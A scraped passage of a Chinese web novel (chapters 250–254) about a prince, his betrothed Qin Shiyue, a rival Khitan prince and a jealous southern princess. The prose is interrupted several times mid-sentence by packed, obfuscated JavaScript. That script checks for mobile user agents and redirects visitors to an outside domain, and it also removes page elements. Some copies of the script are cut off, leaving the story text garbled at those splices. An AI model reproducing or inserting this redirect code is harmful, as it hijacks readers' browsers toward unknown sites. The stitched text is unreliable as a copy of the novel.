耶律良才死死瞪着侍书,半晌,他忽然笑了一下,摆摆手,对侍书说道:“罢了,回去告诉你家王爷,改日,本王自会登门拜访!” 说罢,耶律良才打马,转身往相反的方向而去。 秦时月刚坐稳,宋墨辰便跟着钻了进来。 在宋墨辰进入马车的那一刻,他顺手将车帘落下,隔绝了外面所有光线和声响。 “宋墨辰,你……” “闭嘴。”宋墨辰打断秦时月,声音中带着点没处发泄的火气。 下一秒,他倾身过来,双手撑在秦时月身侧的车壁上,将她圈在胸口和马车壁之间。 他低着头,鼻尖几乎碰到她的额头,眼底的占有欲像野火一样熊熊燃烧。 “刚才耶律良才看你的眼神,你没看见?” 秦时月被他这架势弄得心头一跳,下意识想往后缩,却被他圈得更紧。 她有些不自在,支支吾吾地说道:“我,我没在意。” 刚才,她的注意力都在他身上,哪里注意到了耶律良才。 她怎知耶律良才是什么眼神? “没在意?”宋墨辰低笑一声,抬起手捏住秦时月的下巴,强迫她抬头看着自己,“月月,他说要留在这里,要争取机会,你当他是说着玩的?还有皇帝那话,明里暗里都在帮他……月月,我吃醋了。” 秦时月的下巴被捏得有些疼,眼神里却多了一丝羞赧,“我们有婚约在身,无论陛下和他怎么想……” “婚约?”宋墨辰冷哼一声,手上的力道又重了几分,语气里带着点不顾一切的偏执,“婚约能拦住谁?刚才在殿上,他看你的眼神,恨不得把你吞下去!” 想起耶律良才那个冒犯的眼神,他就恨不能当场血洗! 他从来没有这样疯过,事关秦时月,他,再也不能像以往那样,冷静自持,将一切**于股掌。 突然,宋墨辰松开手,顺势将她揽进怀里,紧紧地抱着,“抱歉月月,我,我是不是吓到你了?我只是,太爱你了。” 说着,他忽然俯身,在秦时月娇软的唇上重重一吻。 她被吻得有些发懵,好一会儿缓不过神。 “你,你放开我,车帘还没拉严实呢。” 秦时月脸颊通红,眼底透着她自己都没察觉到的笑意。 宋墨辰低笑着松了力道,抵着她的额头,没有真的放手,“怕人瞧见?” “嗯。”秦时月羞涩的将人推了推。 她倒不是怕人看见,只是想到了祝玲珑。 如今祝玲珑已经住到了王府,天天在宋墨辰面前献殷勤,她无法保证他不会对祝玲珑动心。 想到这,她心里有些酸涩,撇撇嘴,又推了推他。 “我与我的未婚妻亲近,天经地义。”宋墨辰攥着她的手,偏不肯放开她。 秦时月紧抿着唇,问道:“那,祝玲珑呢?她毕竟是南国郡主,如今又依皇命住进了王府。” “月月。”宋墨辰皱着眉头抬手捏了捏她的耳垂,声音有些暗哑,“再提她,我可不保证不会再吻你。” “你,你过分。”秦时月别开脸,眼底闪过一丝落寞,“我提她,是因为她是实实在在横在你我之间的人,我又没有说错什么。” 说完,她从宋墨辰怀里挣脱开,一本正经地坐到了宋墨辰对面。 她不想做争风吃醋的女子,可即便她在心里不断告诫自己,面对宋墨辰的事,她,还是有些无措。 说到底,她也只是一个刚满十八岁的豆蔻少女…… 宋墨辰笑了一下,挨着秦时月坐好,“她永远不能与月月相提并论,她,有她的作用。” 这话让秦时月没法接,她愣愣地看了宋墨辰一眼,将头转了过去。 知道她害羞,宋墨辰直接将人揽入怀里,“月月,你只要记着,我只爱你一人,此生,除你外,我谁都不要。” 秦时月往他怀里缩了缩,把那些扰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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此话一出,她瞬间明白了他的心思。 她惊讶地看着宋墨辰,眉眼间多了一丝佩服。 不愧是排兵布阵的执棋者,他纵观全局的本事,绝不是她能比得上的…… 宋墨辰说道:“我许诺,与我合作,我会给他们粮草、通商的门路,给他们不受苛待的安稳,他们则要在我需要的时候,站在我这边。” 第250章 震惊于他的疯狂 “合作?”秦时月的声音有些发颤,“你可知,这些事若是被陛下知道了,你会被安上什么罪名!?勾结外藩,意图不轨……” 皇帝本就对宋墨辰有所忌惮,一旦发现这些事……她不敢再想下去。 往日,她虽看得出他城府颇深,也欣赏他算计人的样子,可此刻,他眼底的算计太疯狂,让她心惊,又让她莫名地心疼。 她不想看到他陷入万劫不复的境地。 宋墨辰看着她心惊又惶恐的样子,忽然笑了。 他的月月,无论遇到何事,向来不会将情绪宣泄到脸上,更不会让外人看出她的心思。 可现在……她是真的担心他吧。 “放心,我从没想过取而代之。”宋墨辰眸色深沉。 若不是皇帝一意孤行,总想掺和他和秦时月的事,他不会动这些念头。 “他毕竟是我的父皇,我不会做弑父篡位的事,更不会让百姓陷入战火,我只是,想把他架空。” “什么!?”秦时月眼神震颤,声音里带着一丝不易察觉的颤抖,“你有没有想过,万一哪一环出了纰漏,被人抓住把柄,别说安稳度日,恐怕连性命都……” 他从来不是这种急迫的性子,他们是要那个位置,但那个位置,需要徐徐图之,可如今,他是怎么了? “我想过。”宋墨辰打断她,眼神却没有丝毫动摇,“但我不会退。” 他知道,但凡他退,皇帝就会进,说不定还会直接把秦时月许配给耶律良才。 与其到时候他被逼到**,战火四起,不如,早做打算! 无聊为了什么,他都不会退步! 秦时月注视着他,突然想起了初见宋墨辰时的模样。 那时的他意气风发,带着独属于杀伐战神的冰冷气质,仿佛在他眼里,江山唾手可得。 可如今,他眼角泛红,眼底透着一丝癫狂,一丝决绝…… “需要我做什么?”秦时月攥攥拳头,像是做了什么重大决定,轻声问道。 只要他开口,便是上刀山下火海,她也会做! 他们,早就迈上了夺嫡的道路,即便不是现在,迟早也会面对这一切。 “我不要你做什么,我只要你知道,我爱你,在这期间,不要接受任何人。” 若不是迫不得已,他不会在这个节骨眼上把这个消息告诉她。 …… 两人用过膳后,宋墨辰将秦时月送回了侯府。 侯府门前,宋墨辰看着她,眼神不舍,“进去吧,我明日再来看你。” “好,你也早些回去。”秦时月转过身,深吸一口气,踏入门槛。 目送秦时月回府侯,宋墨辰才翻身上马车,将车帘放下,对着外头的侍书说了句,“回去吧。” 马车刚在辰王府门口停下,一抹鹅黄色的身影朝着马车飞奔过来。 那身影看起来格外熟悉,是祝玲珑。 看那样子,她显然在府外等了许久。 见马车停稳,她立刻提着裙摆小跑过来,手上抱着一个厚厚的白色披风。 “王爷可算回来了。”眼看车帘掀起,祝玲珑立刻凑上去,殷勤地说道:“夜里风这样大,我怕你着凉,这是我给你准备的披风。” 她声音俏皮,说着,伸手就要去替他解外面的大氅。 就在祝玲珑伸出手的那一刻,宋墨辰眸色一沉,不动声色地侧身避开。 她的手僵在半空,脸上的笑容淡了几分,“王爷……” “有事?”宋墨辰的声音里没什么情绪。 祝玲珑的眼底闪过一丝难堪,随即又换上那副娇媚热烈的模样,“也没什么大事,就是,下午收到了南国的来信,想着你或许会关心,就一直在这儿等着。” “信呢?”他的语气依旧平淡,没有起伏。 祝玲珑撇撇嘴,有些气闷,“在玲珑房里,我没敢拆,想着等你回来亲自看才好。王爷是要去我……” “边走边说。”宋墨辰打断她的话,脚步没停,径直往府内走去。 “好。”祝玲珑笑着,小跑着跟在他身后。 见他一路沉默不语,她主动开口,“南国那边我已经打点得差不多了,只要我递句话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075436|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们定然愿意帮王爷。” “嗯。”宋墨辰淡淡应了声。 “那我们的婚约……”祝玲珑试探性地开口。 听到这话,宋墨辰脚步顿了顿,转过身,冷冷道:“玲珑郡主,眼下要紧的是南国的事。” 看到他这副眼神,祝玲珑吓得打了个激灵,连忙道歉,“是,是我唐突了,我只是觉得,若是能早日定下婚约,南国那边见我们是一家人,定会更放心与你合作。” 他眼神微冷,没再接话,转身继续往前走。 “进来吧。”宋墨辰推开会客用的小厅的门,率先迈了进去,“把南国的事说清楚。” 祝玲珑的脸上立刻绽开笑容,连忙提着裙摆跟上。 …… 揽月园。 见秦时月回来,小荷连忙迎上来,眸子里带着几分担忧,“小姐可算回来了,我炖了安神汤,这就给您端来。” 小荷一边伸手为秦时月脱下披风,一边道。 “不用了,我先沐浴。”秦时月低头闻了闻身上的味道,有些无奈。 这些日子在禹城忙碌,她都没能好好洗个热水澡,身上的味道,着实有些大。 “是。”小荷应声,立即带人打好热水。 浴房里,水汽早已漫得满室氤氲,秦时月在小荷的伺候下褪去外衣坐进桶中,紧绷的肩背立刻松快了些。 水汽渐浓,模糊了视线。 秦时月靠着盆沿,只觉得眼皮越来越沉。 再次睁眼时,窗外的日头早已倾斜。 秦时月动了动手指,只觉得浑身酸软,像是被抽走了力气。 房间外传来小荷的声音,“这都两天了小姐还没醒,不是出什么事吧!?” “嘘,小声点,别吵着小姐。”肖嬷嬷心疼的瞅了眼紧闭的房门,眼底尽是担忧。 闻言,秦时月勾勾唇清了清嗓子,“小荷!” 听到声音,小荷立即跑进屋内,眼里又惊又喜,“小姐,您可算醒了,渴不渴?我这就去倒水!” 小荷手忙脚乱地倒了温水,又扶着秦时月坐起身。 第251章 你来我往 秦时月喝了两口,好不容易缓过劲来,“我睡了两天?” “可不是嘛。”小荷皱着小脸,眼神有些后怕,“前天夜里您沐浴完就说乏,躺到床上就睡着了,第二天晌午没醒,下午还没醒。我实在慌了,请了大夫来,大夫说是劳神过度。” 秦时月点点头,她的身体自己清楚,确实是在禹城累着了。 “这两天府里没什么事吧?”秦时月揉揉酸胀的脖子,随口问了一句。 “倒没什么大事。”小荷随口道:“就是……” “就是什么?” “六皇子这两日日日都来,也不做什么,就在院子里待着。” 小荷的话让秦时月的顿了一下,柳眉也不自觉的皱了皱,“耶律良才?他待在院子里做什么?” 小荷摇摇头。 原本她是想把耶律良才赶走的,可她是个下人,人微言轻,再加上长乐侯暗中支持,她根本赶不走人。 “今日一早就在院子里候着了,说找您有急事,现在还在外边,您要见吗?” 秦时月沉默片刻,眉眼透过铜镜,流露出一丝冷凝,“我去见见他。” 该面对的事情还是要面对的,她不可能让耶律良才一直待在自己院子里,传出去,她的名声定会受到影响。 “小姐您刚醒,身子还虚着呢,要不还是别见了。”小荷有些不放心。 “无事。”秦时月已经下了床,“总躲着也不是办法。” 耶律良才的所作所为都是皇帝默许的,除了她,无人能摆平。 小荷拗不过她,只好取了件月白色的常服来,伺候着她换上,又拿起梳子,为她梳了一个简单的垂挂髻,发髻上只簪了一支素雅的白玉簪。 未施粉黛,清丽依旧,只是眉宇间似乎还带着一丝刚醒的倦意。 梳妆打扮完毕,秦时月站起身向外走去,“走吧,我们去见见他。” 刚走出房间,她便看见了那个坐在院子里石榴树下的男子。 耶律良才今日穿了件烟青色的袍子,领口绣着几枝暗雅的兰草,手里拿着一串晶莹剔透的手串把玩,看着比往日多了几分沉静。 若不是她知道他的为人,定然要被他这一身装扮给骗了。 想到这,秦时月突然想起自己第一次见耶律良才时的场景。 那时他穿了件素色袍子站在书摊前,看起来文质彬彬的,像是一个读书人。 听见脚步声,耶律良才抬眼看过来,看到是她,眼前一亮,“可算把你盼出来了,我还以为你今天还要睡到日头西斜呢。” 秦时月没接他的话,径直走到石桌对面坐下,桌角放着个白瓷茶盏,茶盏中还剩余半盏茶水。 “等了两日,就为了说这些?”秦时月眉眼弯弯,眼底却没有笑意。 耶律良才把手里的手串递到秦时月面前,故意不搭她的话,说道:“我新得了个宝贝,给你送过来玩玩。” 秦时月淡淡地扫了一眼手串,脸上没有什么表情。 小荷则是换了一个新的茶壶,并主动给两人倒上一杯热茶。 “我不喜欢,你拿回去吧。”秦时月端起茶杯轻抿一口,并没有去瞧那串手串。 她想要什么没有?区区一个手串,还入不了她的眼,更何况,送礼的人,她并不喜欢。 耶律良才吃瘪,一时之间不知道该说些什么,攥着手串的大手不由自主的收紧。 “你不会只是为了送这个吧?”秦时月看向耶律良才,挑眉问道。 若真是如此,他该多无聊啊。 耶律良才把身子往前倾了倾,胳膊肘支在石桌上,眼睛直勾勾的盯着她,“自然不是,我来是告诉你,再过三五日,我就得回契丹了。” 听到这话,秦时月心中一喜,眸子里闪过一丝亮光。 不过,他在京城浸淫多年,如今还有了别的心思,现在突然要回去……难不成是契丹出事了? “回去有要紧事?”秦时月脱口,多问了一句。 “你关心我?” 秦时月被他这副不要脸的语调搞得有些气恼,“你!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075437|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 深吸口气,她转头看了小荷一眼,眼神示意她先退下。 待小荷走后,耶律良才含糊地说道:“算不上多要紧,不过是家里有些杂事需得回去料理。” “哦。”秦时月应了一声,没再追问。 耶律良才见她没接话,又往前凑了凑,声音里带了点试探,“你呢?要不要跟我一起走?” 闻言,秦时月放下茶盏,抬眼看他,语调带笑,“六皇子这话是什么意思?我在京城住得好好的,为何要随你去契丹?” “契丹草原广阔,自由自在,比京城这些尔虞我诈好得多。”耶律良才笑了一下,眼神始终停留在秦时月的脸上。 那日赛马,他看的出来,她是向往自由的,所以,以此劝说,她,应该会心动吧。 秦时月忽然笑了,“六皇子在京城这些年,不知是否把草原的日子忘得差不多了。” 耶律良才脸上的笑容僵了一下,随即又舒展开,“怎么会忘?不过是为了生计,暂时在这儿落脚罢了。” 这个小没良心的,就是知道怎么往他的心窝子捅。 “为了生计,所以用了褚良才这个名字?”秦时月语气平淡,眼底却多了一丝试探,“我倒想知道,褚公子这些年在京城,到底做了些什么营生?” 耶律良才脸上的笑意淡了下去,他往后靠了靠,将视线从秦时月脸上移开,“你就非得问这些?我承认,我用假身份是有缘故,但我从没对你动过坏心思,这还不够?” “那你接近我,到底是为了什么?”秦时月似笑非笑的注视着他。 对她没动过坏心思,可她靖垣王朝的百姓,也不是猪狗,若他真做过伤害靖垣王朝百姓的事,她不会放过他! “冤枉啊,我是真心喜欢你的。”耶律良才笑着接话,眼神却不敢与她对视,“不然我也不会在你院子里守这两天,从天亮等到天黑,你倒好,醒了第一句就查我的底细。” 他说得委屈,只是眼底的心虚几乎藏不住。 他做的那些事,能说吗? 第252章 好一壶王爷牌绿茶 一旦说出来,她,还愿同他坐在这里,品茶,聊天吗…… 秦时月哼笑一声,“谁知道你是不是打着对我有兴趣的幌子,做着什么见不得人的勾当。” 她语气轻,让人听了……分外难受。 “我为了你连命都可以不要,你竟然这样想我!”耶律良才拳头捏紧,眉眼间多了几分羞恼。 “宋墨辰能给你什么?那祝玲珑像块狗皮膏药似的粘着他,朝堂上的事一堆接一堆,他顾得上你吗?只有我,只有我不仅懂你,还能时时护在你身侧!” “六皇子。”秦时月面色不变,“我不需要任何人护,我,自能护自己周全。至于王爷,我从不奢望他身边只有我一人。” 无论祝玲珑还是其他人,于她而言,只要不闹到她跟前,都可以视而不见。 耶律良才看着她过分平静的脸,忽然笑了,笑容里带着无奈和不甘,“你就真这么油盐不进?” 宋墨辰是或可荣登大宝的人,他又何尝不是? 他宋墨辰能给的,他契丹六皇子照样能给,他不知,自己到底输在了哪! “六皇子。”秦时月顿了一下,认真的看着他,道:“你以前的事情,我可以不追究,但你与我交往,还请注意分寸。” “时月,只有我们才是最配的!”耶律良才有些急切,有些接受不了她对自己的冷淡。 他突然起身攥住她的手腕,沉声低语一声。 “本王倒是不知,契丹六皇子的脸这般大。”就在秦时月想抽回手时,身后突然传来一道略带讥讽的男声。 是宋墨辰。 耶律良才愣了一下,眼底闪过一丝嫉妒,故意往秦时月身边又凑了半分,“偷听人说话,可不是君子所为。” 他阴阳一句,转头看向秦时月,“时月你瞧,他这小人做派,跟他在一起,只会掉身价。” “你怎么样了?听说你醒了,我来看看。”宋墨辰没理会耶律良才,就像是他完全不存在似的。 话落,他突然想到了侍书早上无心说到的话:女子一般都喜欢温柔多情的秀才吧,画本子里不都是那么写的吗…… 宋墨辰的视线落在秦时月的小脸上,又想到耶律良才还是褚良才时的扮相,眼神明明灭灭。 他的月月,也喜欢那样的男子? 攥攥拳又松开,宋墨辰垂下眼睑,再抬眸,眼神柔和不少。 他伸手拽住秦时月的衣袖,声音里似乎带了一丝委屈,“我是不是打扰月月了?我若是打扰到你们了,我,这就走。” 说着,宋墨辰转身装出一副要离开的样子,右手却在宽大的袖袍里悄悄运气,下一秒,右臂失去了知觉。 耶律良才看着他做作的样子,脸色顿时黑了下来。 这混账羔子这是什么做派?大抵,勾栏瓦舍里的小官也学不来他这副模样! “你受伤了?” 看着他转身时下垂的右臂,秦时月眉头一拧,想也不想的伸手拉住了他的右臂。 听到他轻呼一声,她心一揪,连忙掀开衣袖查看。 “我,我没事,可能是昨日在训练场射箭时抻着了,回去让侍书帮我上上药,休息休息就好。”宋墨辰低声说着,装模作样的往回收了收手,样子却格外委屈,“让你担心了。” 果然,他的月月吃这一套。 宋墨辰心里暗喜,眼神却始终落在秦时月焦急的小脸上。 他,喜欢月月为他担忧,眼中只他一人的样子。 “怎么这么不小心?”秦时月皱皱眉,忍不住嘟囔一句。 他的胳膊看起来没什么大问题,但脉象淤塞,确实是受伤的症状。 “我没事,你有客人在,我就……不打扰了。” 这话说得轻描淡写,可宋墨辰眼底的委屈却骗不了人。 耶律良才瞧着堵的慌,刚要开口,就见宋墨辰忽然低低地咳嗽起来。 那咳嗽声来得急,宋墨辰下意识抬手按住胸口,身子微微前倾。 “你怎么了!?”秦时月心头一紧,连忙伸手想扶他,他却不动声色的避开了她的手,“我没事,过会儿就好。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16081462|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他看着她,眼神里带着歉疚,固执,“我来的不是时候,我这就走,不打扰你和六皇子说话。” 说完,他又要转身,转过身的瞬间脚步微微晃了一下,像是站不稳般往后倒去。 “宋墨辰!”秦时月面色微变,立即上手搀扶,并主动看向耶律良才,“六皇子,时间不早了,请回吧。” 耶律良才愣了一下,压根没料到她会突然下逐客令。 他怔怔的看看秦时月焦急的样子,又看看宋墨辰那副表象虚弱,底盘稳健的模样,脑中似有什么炸裂。 这混账羔子莫不是在装!? 他攥攥拳,语气有些不好,“行,我走,王爷可得好好保重身子!!” 秦时月听出他语气里的不善,皱皱眉,连个眼神都没给他,“小荷,送客!” 敢威胁她的男人,这耶律良才也太把自己当回事了! 耶律良才瞪了一眼宋墨辰,甩甩袖子,一脸愤愤的走出院子。 秦时月扶着宋墨辰坐到石凳上,关心地问道:“你怎么样?要不要进屋歇歇?” 眼看耶律良才的背影消失,宋墨辰的眼底飞快闪过一丝笑意,“不用了,我就是来看看你,你安好我便放心了。” “你呀。”秦时月叹口气,心里始终不放心,“我给你瞧瞧。” 说着,她的小手已然落在了他的手腕处。 良久,她收回手,抬眸道:“没什么大碍,应该是这段日子累着了,我去开个方子,晚点让小荷将药送到王府,让人熬给你喝。至于胳膊……我一会去医馆做两贴膏药,一并给你送去。” “好。”宋墨辰眼底带笑,哪还有虚弱的样子? 看到他的变化,秦时月无奈笑笑,“我倒是不知,人人敬仰的战神,竟会放下颜面,做出如今这副样子。” 宋墨辰怔愣一下,嘴角微勾,“月月聪慧,什么都瞒不过月月的眼。” “是是是,你方才那样太过刻意,只要长眼睛的,怕是都能看的出来。只是,耶律良才是外人,你何必……” 第253章 意外来客 “外人?”宋墨辰打断她,眉头微蹙,语气多了一丝怨怼,“他可没把他自己当外人。” 在他看来,耶律良才丝毫不知收敛,秦时月就不该让他进门,就算进门,也该把他赶出去! “月月,你是我的王妃,只能是我一个人的,我不喜欢他觊觎你的眼神,不喜欢你……看他。” 秦时月抬手摸摸他俊朗的脸庞,像是在诱哄一只小宠,“你的路还没走完,朝堂上的风雨也从未停歇,你又何必在这些事上分心?” 耶律良才那边,自然有她来处理,虽然时间可能有些漫长,但她心意坚定,是绝不会给他半点机会的。 “在你身上,从来不算分心。”宋墨辰看着她,眼底带着偏执的深情,“我做这一切,为的是什么,你心里不清楚吗?” 他这一生,大多数时候过的都是刀尖上舔血的日子,所以,他从不期盼什么。 可唯独想要一个她。 “我知道。”秦时月叹口气,语气软了下来,“耶律良才这几日就要回契丹了,你不必和他计较什么。” 宋墨辰眉头微拧,“你不喜欢我这样?是觉得我,太强势?” “自然不是,我只是……”秦时月连忙摇头,可话出口,后续,她却不知该怎么说了。 “只是什么?”宋墨辰揽着秦时月的腰肢突然用力,她一时不查,直接跌进了他的怀里。 秦时月俏脸微红,心跳乱了节奏。 就在这时,小荷突然走过来。 看到这一幕,她连忙低下头,有些局促开口,“小姐,玲珑郡主到了。” 她是不是来的不是时候?是不是打扰了王爷和小姐的好事? 祝玲珑? 秦时月皱皱眉,觑了宋墨辰一眼,退后半步,离开了他的怀抱。 这一大早的,一个两个都来给她添堵! “可说是做什么来的?”秦时月整理一下衣衫,漫不经心的问道。 小荷歪着头,道:“说是来给小姐送东西。” “让她进来。”秦时月定了定神,声音恢复了平日的平静。 没过片刻,祝玲珑和贴身丫鬟便在小荷的带路下,提着个漆盒走了进来。 祝玲珑笑着,目光落在宋墨辰身上后,眼底闪过一丝嫉妒。 王爷果然是来这个小**这里了,他二人还没成婚,也不怕遭天下人诟病! 秦时月察觉到她的小动作,瞄了眼稳稳坐在那里喝茶的宋墨辰一眼,并没搭话,只是命小荷看座、倒茶。 而她则自顾自地端起面前的茶水饮了一口。 虽不知道祝玲珑前来所谓何事,但绝对不会是什么好事。 “王爷。”祝玲珑盈盈一拜,“玲珑不知王爷在,不会打扰了王爷的雅兴吧?” 宋墨辰面色不变,怡然喝着茶水,连个眼神都没给她。 祝玲珑的脸色有些发白,她捏紧拳头,在小荷的引导下坐在了石桌对面,“秦姐姐这院子我是头一次来,倒是比我想象中的更雅致,也难怪王爷会放着王府大好景色不赏,偏来这里。” 一阵微风吹过,檐下传来清脆的风铃声,像在回应她的挑衅。 秦时月放下茶杯,波澜不惊,“玲珑郡主今日怎么得空过来了?” “前日王爷从禹城回来,转头就进了军营,今日好不容易休沐,玲珑却听说王爷来了这里……玲珑为王爷煮了汤,想来问问,王爷可要随玲珑回去喝?” 祝玲珑回答的干脆,那双眸子却频频看向宋墨辰,那媚眼如丝的样子,让人拒绝不了。 今日,她是跟着宋墨辰来的。 没有人知道,她看见宋墨辰进入长乐侯府大门的那一刻,她恨不得将入目的一切撕碎。 名冠京城的战神,只能是她一个人的! 秦时月摩挲着杯沿,语气平淡,语气里却多了一丝她自己都没察觉到的气恼,“王爷就在这,玲珑郡主可随时陪王爷离开。” 宋墨辰脸色难看,砰的一声,重重将茶杯放下,还没开口,祝玲珑先一步笑道:“秦姐姐哪里话,我是来找王爷的,但也是来看姐姐的。” 该死的**,当着王爷的面落她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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祝玲珑自以为娇憨的摇了摇宋墨辰的手,看向秦时月的眸子里却满是挑衅。 她敢这么说,就是算准了宋墨辰不会当众打她的脸,毕竟,他想将南国收入囊中,少不了她祝家的支持! 第254章 我脏了…… 宋墨辰猛地抽出手,一脸嫌弃的接过侍书递上来的手帕擦了又擦。 擦完,他将手帕随手一丢,一脸急切的看向秦时月,“月月,我不知道她会突然伸手抓住我,你别生气。” 该死!他竟然一时不差,被月月以外的人碰到了! 月月,会不会嫌弃他脏了? 祝玲珑双眼睁大,一脸不可思议。 她,她看到了什么?听到了什么?王爷这是,嫌弃她,连触碰一下都嫌脏? 秦时月神色平静,脸上没有什么情绪。 见状,宋墨辰心里发慌,神色阴鸷的看向祝玲珑,那眼神,像是要将人拆吃入腹。 祝玲珑被他看得发怵,却还是强撑着扬起下巴,“我,我只是实话实说,我为你做了那么多,难道不比她对你的帮助大吗?” 若不是她,南国也好,周边的几个小国也罢,又怎会这么轻易的答应他的条件!? 可他现在竟然为了秦时月这个**这样对她,她不服! “闭嘴!”宋墨辰打断她,眼神危险,“祝玲珑,本王警告你,月月不是你能招惹的,你要是想留下,就收起你那点小心思!” 他所谓的留下,是只将来,给她祝家一个容身之处,却不想此话一出,秦时月,误会了。 秦时月攥着拳头垂下眸,眼底闪过一丝苦涩笑意。 她虽然不喜欢祝玲珑,但她表达的意思没错,日后,宋墨辰身边,注定妻妾成群。 或是对他巩固朝廷有帮助的,或是……容貌倾城的。 秦时月觉得胸口有些闷,深吸口气,打算离开,独自冷静冷静。 而祝玲珑的脸上却多了一分笑意。 他虽然没有承诺自己婚约,但他说,会让她留下来,这是不是意味着,他有在为他们的未来做打算? “王爷~”祝玲珑看着他,满眼深情。 “带着你的东西,滚!”宋墨辰看着面无表情的秦时月,拳头捏的死紧。 南国也好,周边小国也罢,只要他想,全都不在话下,无非就是费些功夫。 可若是惹的月月不快了,祝玲珑,万死! 祝玲珑像是没听见宋墨辰的话一般,视线落在秦时月身上,双眼猩红,脸上带着一丝杀意。 **,都怪她!要不然,王爷也不会这样对自己! 祝玲珑声音发颤,“我不走!凭什么要我走!?”她的眸子里满是委屈,“我偏要留下,我倒要看看,你们能说些什么悄悄话!” 该死的**!今日之辱,她迟早有一天要报复回来! 只要宋墨辰还想要利用自己收服周边小国,那她就不会输。 只要她进了王府,便有的是机会对付秦时月,她,不急于这一时! 想到这,祝玲珑强压恨意,努力扬起一抹歉疚的笑意,“刚刚都是误会,秦姐姐不要与我一般见识可好?” 看到祝玲珑变脸,秦时月笑了一下,“我不会为了不相干的人生气。” 她又不是闲来无事,自然不会为了不相干的人浪费精力。 听到这话,宋墨辰笑了一下,主动凑了上去,“月月,我还没用早饭,不如我带你去……” 他话没说完,就在这时,院外忽然传来急促的脚步声。 下一秒,身穿铠甲的卫兵走了进来,侍书走过去,回来时,凑到了宋墨辰耳边,“王爷,营里急报……” 听完,宋墨辰脸色一变,看着秦时月的眼神里透着一股意味不明,“月月,军营出了点事,我去处理一下。其他的事,等我回来再说。” 秦时月皱皱眉,点了点头。 她虽然不知发生了什么,但看他严肃的面色也知道,军营里的事,怕是不小。 宋墨辰收回视线,转身大步流星地往外走,侍书紧随其后。 揽月园中只剩下秦时月、祝玲珑和两个丫鬟。 祝玲珑看着宋墨辰消失的方向,眼里闪过一丝得意,“姐姐你看,终究还是军务要紧,你以为,他那样的男子,真会把咱们这些闺阁中的小事放在心上?” 秦时月没理她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16090781|171450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自顾自地品茶。 祝玲珑见她不接话,又往前凑了凑,声音中带着几分炫耀,“你知道吗,他这次从禹城回来,给我带了礼物。” 听到这话,秦时月无声浅笑一下。 她和宋墨辰在禹城多日,回来便进了宫,她怎么不知道宋墨辰买了什么东西。 再者,禹城百废待兴,也不会有什么物件让他带回来。 “你别揣着明白装糊涂!”祝玲珑见她始终不上心,忍不住提高了声音。 见祝玲珑咄咄逼人,秦时月放下茶杯,神色渐冷,“玲珑郡主,我无心与你争夺宋墨辰的喜爱,我有更重要的事做。宋墨辰已经走了,你若无事,可以自行离开!” 祝玲珑被堵得脸色微变,半晌才憋出一句,“你不过是仗着自己会点医术,若不是这样,王爷怎会多看你一眼!?” 秦时月并不接话,只是起身,打算离开。 说起来,她今日还没去医馆看看呢。 被无视了个彻底,祝玲珑心生不满,猛地站起身指着秦时月吼道:“我自幼跟父兄在军营里长大,马术、箭术样样不差,就连排兵布阵,我也懂些皮**!你呢?你见过真正的战场吗?只有我才配得上王爷,只有我才有资格站在他身边!” 听到这话,秦时月没什么反应,反而转过身,朝着门口走去。 上阵杀敌?不过是最末等的技能,她秦时月要做的,是坐在帐中,运筹帷幄,指点江山! “你给我站住!”祝玲珑看着她的背影气得发抖,“你这种娇养在深闺的女子根本不懂我们沙场儿女的豪情,你以为他真的会喜欢你这种弱不禁风的女子!?他说过,他欣赏能与他并肩的女子,而不是你这种,需要他时刻保护的金丝雀!” 秦时月脚步一顿,却没回头,“你不是我,怎知我是金丝雀?” 